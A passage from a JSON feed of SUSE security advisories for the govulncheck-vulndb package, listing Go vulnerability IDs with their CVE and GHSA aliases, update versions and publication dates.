update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.31116925Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23712-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.805639295Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}